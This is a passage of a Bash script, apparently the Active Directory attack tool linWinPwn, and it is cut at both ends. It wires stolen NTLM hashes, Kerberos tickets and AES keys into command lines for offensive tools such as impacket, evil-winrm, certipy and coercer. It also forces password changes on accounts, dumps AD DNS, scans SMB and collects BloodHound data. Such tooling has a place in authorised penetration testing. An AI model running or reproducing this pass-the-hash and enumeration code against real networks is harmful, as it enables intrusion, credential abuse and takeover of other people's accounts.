if [ "$(echo "$hash" | grep ':')" == "" ]; then
hash=":"$hash
fi
if [ "$(echo "$hash" | cut -d ":" -f 1)" == "" ]; then
hash="aad3b435b51404eeaad3b435b51404ee"$hash
fi
argument_ne="-d ${domain} -u '${user}' -H ${hash}"
argument_imp=" -hashes ${hash} ${domain}/'${user}'"
argument_imp_gp=" -hashes ${hash} ${domain}/'${user}'"
argument_imp_ti="-user '${user}' -hashes ${hash} -domain ${domain}"
argument_bhd="-u '${user}'\\@${domain} --hashes ${hash} --auth-method ntlm"
argument_enum4linux="-w ${domain} -u '${user}' -H ${hash:33}"
argument_adidns="-u ${domain}\\\\'${user}' -p ${hash}"
argument_ldd="-u ${domain}\\\\'${user}' -p ${hash}"
argument_smbmap="-d ${domain} -u '${user}' -p ${hash}"
argument_certi_py="${domain}/'${user}' --hashes ${hash}"
argument_certipy="-u '${user}'\\@${domain} -hashes ${hash}"
argument_pre2k="-d ${domain} -u '${user}' -hashes ${hash}"
argument_certsync="-d ${domain} -u '${user}' -hashes ${hash}"
argument_donpapi="-H ${hash} -d ${domain} -u '${user}'"
argument_hekatomb="-hashes ${hash} ${domain}/'${user}'"
argument_silenthd="-u ${domain}\\\\'${user}' --hashes ${hash}"
argument_windap="-d ${domain} -u '${user}' --hash ${hash}"
argument_targkerb="-d ${domain} -u '${user}' -H ${hash}"
argument_p0dalirius="-d ${domain} -u '${user}' -H ${hash:33})"
argument_FindUncom="-ad ${domain} -au '${user}' -ah ${hash}"
argument_manspider="-d ${domain} -u '${user}' -H ${hash:33}"
argument_coercer="-d ${domain} -u '${user}' --hashes ${hash}"
argument_aced=" -hashes ${hash} ${domain}/'${user}'"
argument_sccm="-d ${domain} -u '${user}' -hashes ${hash}"
argument_ldapper="-D ${domain} -U '${user}' -P ${hash}"
argument_ldeep="-d ${domain} -u '${user}' -H ${hash}"
argument_bloodyad="-d ${domain} -u '${user}' -p ${hash}"
argument_adalanche="--authmode ntlmpth --username '${user}'\\@${domain} --password ${hash}"
argument_mssqlrelay="-u '${user}'\\@${domain} -hashes ${hash}"
argument_pygpoabuse=" -hashes ${hash} ${domain}/'${user}'"
argument_GPOwned="-d ${domain} -u '${user}' -hashes ${hash}"
argument_privexchange="-d ${domain} -u '${user}' --hashes ${hash}"
argument_adcheck="-d ${domain} -u '${user}' -H ${hash}"
argument_evilwinrm="-u '${user}' -H ${hash:33}"
argument_godap="-u '${user}' -d ${domain} -H ${hash}"
argument_mssqlpwner="-hashes ${hash} ${domain}/'${user}'"
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}NTLM hash of '${user}'${NC}"
else
echo -e "${RED}[i]${NC} Incorrect format of NTLM hash..."
exit 1
fi
fi
pass_bool=false
kerb_bool=false
unset KRB5CCNAME
aeskey_bool=false
fi
#Check if kerberos ticket is used
if [ "${kerb_bool}" == true ]; then
argument_ne="-d ${domain} -u '${user}' --use-kcache"
pass_bool=false
hash_bool=false
aeskey_bool=false
cert_bool=false
forcekerb_bool=false
if [ -f "${krb5cc}" ]; then
target=${dc_FQDN}
target_dc=${dc_hostname_list}
target_sql=${sql_hostname_list}
target_servers=${servers_hostname_list}
krb5cc_path=$(realpath "$krb5cc")
export KRB5CCNAME=$krb5cc_path
argument_imp="-k -no-pass ${domain}/'${user}'"
argument_enum4linux="-w ${domain} -u '${user}' -K ${krb5cc}"
argument_bhd="-u '${user}'\\@${domain} -k -no-pass -p '' --auth-method kerberos"
argument_certi_py="${domain}/'${user}' -k --no-pass"
argument_certipy="-u '${user}'\\@${domain} -k -no-pass -target ${dc_FQDN}"
argument_ldeep="-d ${domain} -u '${user}' -k"
argument_pre2k="-d ${domain} -u '${user}' -k -no-pass"
argument_certsync="-d ${domain} -u '${user}' -use-kcache -no-pass -k"
argument_donpapi="-k --no-pass -d ${domain} -u '${user}'"
argument_targkerb="-d ${domain} -u '${user}' -k --no-pass"
argument_p0dalirius="-d ${domain} -u '${user}' -k --no-pass"
argument_FindUncom="-ad ${domain} -au '${user}' -k --no-pass"
argument_bloodyad="-d ${domain} -u '${user}' -k"
argument_adalanche="--authmode kerberoscache --username '${user}'\\@${domain}"
argument_aced="-k -no-pass ${domain}/'${user}'"
argument_sccm="-d ${domain} -u '${user}' -k -no-pass"
argument_mssqlrelay="-u '${user}'\\@${domain} -k -no-pass -target ${target}"
argument_pygpoabuse="${domain}/'${user}' -k -ccache $(realpath "$krb5cc")"
argument_GPOwned="-d ${domain} -u '${user}' -k -no-pass"
argument_evilwinrm="-r ${domain} -u '${user}'"
argument_godap="-d ${domain} -k -t ldap/${target}"
argument_mssqlpwner=" -k -no-pass ${domain}/'${user}'"
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}Kerberos Ticket of $user located at $(realpath "$krb5cc")${NC}"
else
echo -e "${RED}[i]${NC} Error accessing provided Kerberos ticket $(realpath "$krb5cc")..."
exit 1
fi
fi
#Check if kerberos AES key is used
if [ "${aeskey_bool}" == true ]; then
target=${dc_FQDN}
target_dc=${dc_hostname_list}
target_sql=${sql_hostname_list}
target_servers=${servers_hostname_list}
argument_ne="-d ${domain} -u '${user}' --aesKey ${aeskey}"
argument_imp="-aesKey ${aeskey} ${domain}/'${user}'"
argument_bhd="-u '${user}'\\@${domain} -aesKey ${aeskey} --auth-method kerberos"
argument_certi_py="${domain}/'${user}' --aes ${aeskey} -k"
argument_certipy="-u '${user}'\\@${domain} -aes ${aeskey} -target ${dc_FQDN}"
argument_pre2k="-d ${domain} -u '${user}' -aes ${aeskey} -k"
argument_certsync="-d ${domain} -u '${user}' -aesKey ${aeskey} -k"
argument_donpapi="-k --aesKey ${aeskey} -d ${domain} -u '${user}'"
argument_targkerb="-d ${domain} -u '${user}' --aes-key ${aeskey} -k"
argument_p0dalirius="-d ${domain} -u '${user}' --aes-key ${aeskey} -k"
argument_FindUncom="-ad ${domain} -au '${user}' --aes-key ${aeskey} -k"
argument_aced="-aes ${aeskey} ${domain}/'${user}'"
argument_sccm="-d ${domain} -u '${user}' -aes ${aeskey}"
argument_mssqlrelay="-u '${user}'\\@${domain} -aes ${aeskey} -k"
argument_GPOwned="-d ${domain} -u '${user}' -aesKey ${aeskey} -k"
argument_mssqlpwner="${domain}/'${user}' -aesKey ${aeskey} -k"
pass_bool=false
hash_bool=false
kerb_bool=false
unset KRB5CCNAME
cert_bool=false
forcekerb_bool=false
auth_string="${YELLOW}[i]${NC} Authentication method: ${YELLOW}AES Kerberos key of ${user}${NC}"
fi
if [ "${forcekerb_bool}" == true ]; then
argument_ne="${argument_ne} -k"
target=${dc_FQDN}
target_dc=${dc_hostname_list}
target_sql=${sql_hostname_list}
target_servers=${servers_hostname_list}
fi
#Perform authentication using provided credentials
if [ "${nullsess_bool}" == false ]; then
auth_check=$(run_command "${netexec} smb ${target} ${argument_ne}" 2>&1 | grep -v " Error checking if user is admin on "| grep "\[-\]\|Traceback" -A 10 2>&1)
if [ -n "$auth_check" ]; then
echo "$auth_check"
if [[ $auth_check == *"STATUS_NOT_SUPPORTED"* ]]; then
echo -e "${BLUE}[*] Domain does not support NTLM authentication. Attempting to generate TGT ticket to use Kerberos instead..${NC}"
if [ ! -f "${impacket_getTGT}" ]; then
echo -e "${RED}[-] getTGT.py not found! Please verify the installation of impacket${NC}"
else
if [ "${pass_bool}" == true ] || [ "${hash_bool}" == true ] || [ "${aeskey_bool}" == true ]; then
current_dir=$(pwd)
cd "${output_dir}/Credentials" || exit
echo -e "${CYAN}[*] Requesting TGT for current user${NC}"
run_command "${impacket_getTGT} ${argument_imp} -dc-ip ${dc_ip}" | grep -v "Impacket" | sed '/^$/d' | tee "${output_dir}/Credentials/getTGT_output_${dc_domain}"
cd "${current_dir}" || exit
if [ -f "${output_dir}/Credentials/${user}.ccache" ]; then
krb_ticket="${output_dir}/Credentials/${user}.ccache"
echo -e "${GREEN}[+] TGT generated successfully:${NC} '$krb_ticket'"
echo -e "${GREEN}[+] Re-run linWinPwn to use ticket instead:${NC} linWinPwn.sh -t ${dc_ip} -d ${domain} -u '${user}' -K '${krb_ticket}'"
exit 1
else
echo -e "${RED}[-] Failed to generate TGT${NC}"
fi
else
echo -e "${RED}[-] Error! Requires password, NTLM hash or AES key...${NC}"
fi
fi
fi
if [[ $auth_check == *"STATUS_PASSWORD_MUST_CHANGE"* ]] || [[ $auth_check == *"STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT"* ]]; then
if [ ! -f "${impacket_changepasswd}" ]; then
echo -e "${RED}[-] changepasswd.py not found! Please verify the installation of impacket${NC}"
elif [ "${kerb_bool}" == true ] || [ "${aeskey_bool}" == true ]; then
echo -e "${PURPLE}[-] changepasswd does not support Kerberos authentication${NC}"
else
pass_passchange=""
if [[ $auth_check == *"STATUS_PASSWORD_MUST_CHANGE"* ]]; then
echo -e "${BLUE}[*] Changing expired password of own user. Please specify new password (default: Summer3000_):${NC}"
read -rp ">> " pass_passchange </dev/tty
if [[ ${pass_passchange} == "" ]]; then pass_passchange="Summer3000_"; fi
echo -e "${CYAN}[*] Changing password of ${user} to ${pass_passchange}${NC}"
run_command "${impacket_changepasswd} ${argument_imp}\\@${dc_ip} -newpass ${pass_passchange}" | tee -a "${output_dir}/Modification/impacket_changepasswd_${dc_domain}.txt"
elif [[ $auth_check == *"STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT"* ]]; then
echo -e "${BLUE}[*] Changing password of pre created computer account. Please specify new password (default: Summer3000_):${NC}"
read -rp ">> " pass_passchange </dev/tty
if [[ ${pass_passchange} == "" ]]; then pass_passchange="Summer3000_"; fi
authuser_passchange=""
echo -e "${BLUE}[*] Please specify username for RPC authentication:${NC}"
echo -e "${CYAN}[*] Example: user01 ${NC}"
read -rp ">> " authuser_passchange </dev/tty
while [ "${pass_passchange}" == "" ]; do
echo -e "${RED}Invalid username.${NC} Please specify username:"
read -rp ">> " authuser_passchange </dev/tty
done
authpass_passchange=""
echo -e "${BLUE}[*] Please specify password for RPC authentication:${NC}"
read -rp ">> " authpass_passchange </dev/tty
while [ "${pass_passchange}" == "" ]; do
echo -e "${RED}Invalid password.${NC} Please specify password:"
read -rp ">> " authpass_passchange </dev/tty
done
echo -e "${CYAN}[*] Changing password of ${user} to ${pass_passchange}${NC}"
run_command "${impacket_changepasswd} ${argument_imp}\\@${dc_ip} -newpass ${pass_passchange} -altuser ${authuser_passchange} -altpass ${authpass_passchange}" | tee -a "${output_dir}/Modification/impacket_changepasswd_${dc_domain}.txt"
fi
password="${pass_passchange}"
auth_check=""
authenticate
fi
echo -e ""
fi
echo -e "${RED}[-] Error authenticating to domain! Please check your credentials and try again... ${NC}"
exit 1
fi
fi
if [ "${verbose_bool}" == true ]; then
ne_verbose="--verbose"
argument_imp="-debug ${argument_imp}"
argument_imp_gp="-debug ${argument_imp_gp}"
argument_imp_ti="-debug ${argument_imp_ti}"
argument_enum4linux="${argument_enum4linux} -v"
argument_bhd="${argument_bhd} -v"
argument_adidns="${argument_adidns} -v -d"
argument_pre2k="${argument_pre2k} -verbose"
argument_certsync="${argument_certsync} -debug"
argument_hekatomb="-debug ${argument_hekatomb}"
argument_windap="${argument_windap} -v --debug"
argument_targkerb="${argument_targkerb} -v"
argument_kerbrute="-v"
argument_manspider="${argument_manspider} -v"
argument_coercer="${argument_coercer} -v"
argument_CVE202233679="-debug"
argument_bloodyad="-v DEBUG ${argument_bloodyad}"
argument_aced="-debug ${argument_aced}"
argument_sccm="-debug ${argument_sccm}"
mssqlrelay_verbose="-debug"
adalanche_verbose="--loglevel Debug"
argument_pygpoabuse="${argument_pygpoabuse} -vv"
argument_privexchange="${argument_privexchange} --debug"
argument_adcheck="${argument_adcheck} --debug"
argument_mssqlpwner="-debug ${argument_mssqlpwner}"
fi
echo -e "${auth_string}"
}
parse_servers() {
sed -e 's/ //' -e 's/\$//' -e 's/.*/\U&/' "${output_dir}"/DomainRecon/Servers/servers_list_*_"${dc_domain}.txt" 2>/dev/null | sort -uf >"${servers_hostname_list}" 2>&1
sed -e 's/ //' -e 's/\$//' -e 's/.*/\U&/' "${output_dir}"/DomainRecon/Servers/dc_list_*_"${dc_domain}.txt" 2>/dev/null | sort -uf >"${dc_hostname_list}" 2>&1
sort -uf <(sort -uf "${output_dir}"/DomainRecon/Servers/ip_list_*_"${dc_domain}.txt" 2>/dev/null) >"${servers_ip_list}"
sort -uf <(sort -uf "${output_dir}"/DomainRecon/Servers/dc_ip_list_*_"${dc_domain}.txt" 2>/dev/null) >"${dc_ip_list}"
if ! grep -q "${dc_ip}" "${servers_ip_list}" 2>/dev/null; then echo "${dc_ip}" >>"${servers_ip_list}"; fi
if ! grep -q "${dc_ip}" "${dc_ip_list}" 2>/dev/null; then echo "${dc_ip}" >>"${dc_ip_list}"; fi
if ! grep -q "${dc_FQDN^^}" "${dc_hostname_list}" 2>/dev/null; then echo "${dc_FQDN,,}" >>"${dc_hostname_list}"; fi
if ! grep -q "${dc_FQDN^^}" "${servers_hostname_list}" 2>/dev/null; then echo "${dc_FQDN,,}" >>"${servers_hostname_list}"; fi
}
parse_users() {
users_list="${output_dir}/DomainRecon/Users/users_list_${dc_domain}.txt"
sort -uf <(sort -uf "${output_dir}"/DomainRecon/Users/users_list_*_"${dc_domain}.txt" 2>/dev/null) >"${users_list}"
if [[ ! "${user}" == "" ]] && ! grep -q "${user}" "${users_list}" 2>/dev/null; then echo "${user}" >>"${users_list}"; fi
}
dns_enum() {
if [ ! -f "${adidnsdump}" ]; then
echo -e "${RED}[-] Please verify the installation of adidnsdump${NC}"
echo -e ""
else
echo -e "${BLUE}[*] DNS dump using adidnsdump${NC}"
dns_records="${output_dir}/DomainRecon/dns_records_${dc_domain}.csv"
if [ ! -f "${dns_records}" ]; then
if [ "${kerb_bool}" == true ] || [ "${aeskey_bool}" == true ]; then
echo -e "${PURPLE}[-] adidnsdump does not support Kerberos authentication${NC}"
else
if [ "${ldaps_bool}" == true ]; then ldaps_param="--ssl"; else ldaps_param=""; fi
run_command "${adidnsdump} ${argument_adidns} ${ldaps_param} --dns-tcp ${dc_ip}" | tee "${output_dir}/DomainRecon/adidnsdump_output_${dc_domain}.txt"
mv records.csv "${output_dir}/DomainRecon/dns_records_${dc_domain}.csv" 2>/dev/null
grep "A," "${output_dir}/DomainRecon/dns_records_${dc_domain}.csv" 2>/dev/null | grep -v "DnsZones\|@" | cut -d "," -f 2 | sort -u | grep "\S" | sed -e "s/$/.${dc_domain}/" >"${output_dir}/DomainRecon/Servers/servers_list_dns_${dc_domain}.txt"
grep "A," "${output_dir}/DomainRecon/dns_records_${dc_domain}.csv" 2>/dev/null | grep -v "DnsZones\|@" | cut -d "," -f 3 >"${output_dir}/DomainRecon/Servers/ip_list_dns_${dc_domain}.txt"
grep "@" "${output_dir}/DomainRecon/dns_records_${dc_domain}.csv" 2>/dev/null | grep "NS," | cut -d "," -f 3 | sed 's/\.$//' >"${output_dir}/DomainRecon/Servers/dc_list_dns_${dc_domain}.txt"
grep "@" "${output_dir}/DomainRecon/dns_records_${dc_domain}.csv" 2>/dev/null | grep "A," | cut -d "," -f 3 >"${output_dir}/DomainRecon/Servers/dc_ip_list_dns_${dc_domain}.txt"
fi
parse_servers
else
parse_servers
echo -e "${YELLOW}[i] DNS dump found ${NC}"
fi
fi
echo -e ""
}
smb_scan() {
if [ ! -f "${nmap}" ]; then
echo -e "${RED}[-] Please verify the installation of nmap ${NC}"
else
if [ "${curr_targets}" == "Domain Controllers" ]; then
servers_smb_list=${target_dc}
elif [ "${curr_targets}" == "All domain servers" ]; then
servers_scan_list=${target_servers}
echo -e "${YELLOW}[i] Scanning all domain servers ${NC}"
servers_smb_list="${output_dir}/Scans/servers_all_smb_${dc_domain}.txt"
if [ ! -f "${servers_smb_list}" ]; then
run_command "${nmap} -p 445 -Pn -sT -n -iL ${servers_scan_list} -oG ${output_dir}/Scans/nmap_smb_scan_all_${dc_domain}.txt" 1>/dev/null 2>&1
grep -a "open" "${output_dir}/Scans/nmap_smb_scan_all_${dc_domain}.txt" 2>/dev/null | cut -d " " -f 2 >"${servers_smb_list}"
else
echo -e "${YELLOW}[i] SMB nmap scan results found ${NC}"
fi
elif [ "${curr_targets}" == "File containing list of servers" ]; then
servers_scan_list=${custom_servers_list}
echo -e "${YELLOW}[i] Scanning servers in ${custom_servers} ${NC}"
servers_smb_list="${output_dir}/Scans/servers_custom_smb_${dc_domain}.txt"
if [ "${custom_target_scanned}" == false ]; then
run_command "${nmap} -p 445 -Pn -sT -n -iL ${servers_scan_list} -oG ${output_dir}/Scans/nmap_smb_scan_custom_${dc_domain}.txt" 1>/dev/null 2>&1
grep -a "open" "${output_dir}/Scans/nmap_smb_scan_custom_${dc_domain}.txt" 2>/dev/null | cut -d " " -f 2 >"${servers_smb_list}"
custom_target_scanned=true
else
echo -e "${YELLOW}[i] SMB nmap scan results found ${NC}"
fi
elif [ "${curr_targets}" == "IP or hostname" ]; then
servers_scan_list=$(head -n1 "${custom_servers_list}")
echo -e "${YELLOW}[i] Scanning server ${custom_ip}${NC}"
servers_smb_list="${output_dir}/Scans/servers_custom_smb_${dc_domain}.txt"
if [ "${custom_target_scanned}" == false ]; then
run_command "${nmap} -p 445 -Pn -sT -n ${servers_scan_list} -oG ${output_dir}/Scans/nmap_smb_scan_custom_${dc_domain}.txt" 1>/dev/null 2>&1
grep -a "open" "${output_dir}/Scans/nmap_smb_scan_custom_${dc_domain}.txt" 2>/dev/null | cut -d " " -f 2 >"${servers_smb_list}"
custom_target_scanned=true
else
echo -e "${YELLOW}[i] SMB nmap scan results found ${NC}"
fi
fi
fi
}
###### ad_enum: AD Enumeration
bhd_enum() {
if [ ! -f "${bloodhound}" ]; then
echo -e "${RED}[-] Please verify the installation of bloodhound${NC}"
else
mkdir -p "${output_dir}/DomainRecon/BloodHound"
echo -e "${BLUE}[*] BloodHound Enumeration using all collection methods (Noisy!)${NC}"
if [ -n "$(find "${output_dir}/DomainRecon/BloodHound/" -type f -name '*.json' -print -quit)" ]; then
echo -e "${YELLOW}[i] BloodHound results found, skipping... ${NC}"
else
if [ "${nullsess_bool}" == true ]; then
echo -e "${PURPLE}[-] BloodHound requires credentials${NC}"
else
current_dir=$(pwd)
cd "${output_dir}/DomainRecon/BloodHound" || exit
if [ "${ldapbinding_bool}" == true ]; then ldapbinding_param="--ldap-channel-binding"; else ldapbinding_param=""; fi
if [ "${ldaps_bool}" == true ]; then ldaps_param="--use-ldaps ${ldapbinding_param}"; else ldaps_param=""; fi
run_command "${bloodhound} -d ${dc_domain} ${argument_bhd} -c all,LoggedOn -ns ${dc_ip} --dns-timeout 5 --dns-tcp -dc ${dc_FQDN} ${ldaps_param}" | tee "${output_dir}/DomainRecon/BloodHound/bloodhound_output_${dc_domain}.txt"
cd "${current_dir}" || exit
#run_command "${netexec} ${ne_verbose} ldap ${ne_kerb} ${target} ${argument_ne} --bloodhound --dns-server ${dc_ip} -c All --log ${output_dir}/DomainRecon/BloodHound/ne_bloodhound_output_${dc_domain}.txt" 2>&1
/usr/bin/jq -r ".data[].Properties.samaccountname| select( . != null )" "${output_dir}"/DomainRecon/BloodHound/*_users.json 2>/dev/null >"${output_dir}/DomainRecon/Users/users_list_bhd_${dc_domain}.txt"
/usr/bin/jq -r ".data[].Properties.name| select( . != null )" "${output_dir}"/DomainRecon/BloodHound/*_computers.json 2>/dev/null >"${output_dir}/DomainRecon/Servers/servers_list_bhd_${dc_domain}.txt"
/usr/bin/jq -r '.data[].Properties | select(.serviceprincipalnames | . != null) | select (.serviceprincipalnames[] | contains("MSSQL")).serviceprincipalnames[]' "${output_dir}"/DomainRecon/BloodHound/*_users.json 2>/dev/null | cut -d "/" -f 2 | cut -d ":" -f 1 | sort -u >"${output_dir}/DomainRecon/Servers/sql_list_bhd_${dc_domain}.txt"
parse_users
parse_servers
fi
fi
fi
echo -e ""
}
bhd_enum_dconly() {
if [ ! -f "${bloodhound}" ]; then
echo -e "${RED}[-] Please verify the installation of bloodhound${NC}"
else
mkdir -p "${output_dir}/DomainRecon/BloodHound"
echo -e "${BLUE}[*] BloodHound Enumeration using DCOnly${NC}"
if [ -n "$(find "${output_dir}/DomainRecon/BloodHound/" -type f -name '*.json' -print -quit)" ]; then
echo -e "${YELLOW}[i] BloodHound results found, skipping... ${NC}"
else
if [ "${nullsess_bool}" == true ]; then
echo -e "${PURPLE}[-] BloodHound requires credentials${NC}"
else
current_dir=$(pwd)
cd "${output_dir}/DomainRecon/BloodHound" || exit
if [ "${ldapbinding_bool}" == true ]; then ldapbinding_param="--ldap-channel-binding"; else ldapbinding_param=""; fi
if [ "${ldaps_bool}" == true ]; then ldaps_param="--use-ldaps ${ldapbinding_param}"; else ldaps_param=""; fi
run_command "${bloodhound} -d ${dc_domain} ${argument_bhd} -c DCOnly -ns ${dc_ip} --dns-timeout 5 --dns-tcp -dc ${dc_FQDN} ${ldaps_param}" | tee "${output_dir}/DomainRecon/BloodHound/bloodhound_output_dconly_${dc_domain}.txt"
cd "${current_dir}" || exit
#run_command "${netexec} ${ne_verbose} ldap ${target} ${argument_ne} --bloodhound --dns-server ${dc_ip} -c DCOnly --log tee ${output_dir}/DomainRecon/BloodHound/ne_bloodhound_output_${dc_domain}.txt" 2>&1
/usr/bin/jq -r ".data[].Properties.samaccountname| select( . != null )" "${output_dir}"/DomainRecon/BloodHound/*_users.json 2>/dev/null >"${output_dir}/DomainRecon/Users/users_list_bhd_${dc_domain}.txt"
/usr/bin/jq -r ".data[].Properties.name| select( . != null )" "${output_dir}"/DomainRecon/BloodHound/*_computers.json 2>/dev/null >"${output_dir}/DomainRecon/Servers/servers_list_bhd_${dc_domain}.txt"
parse_users
parse_servers
fi
fi
fi
echo -e ""
}
bhdce_enum() {
if [ ! -f "${bloodhoundce}" ]; then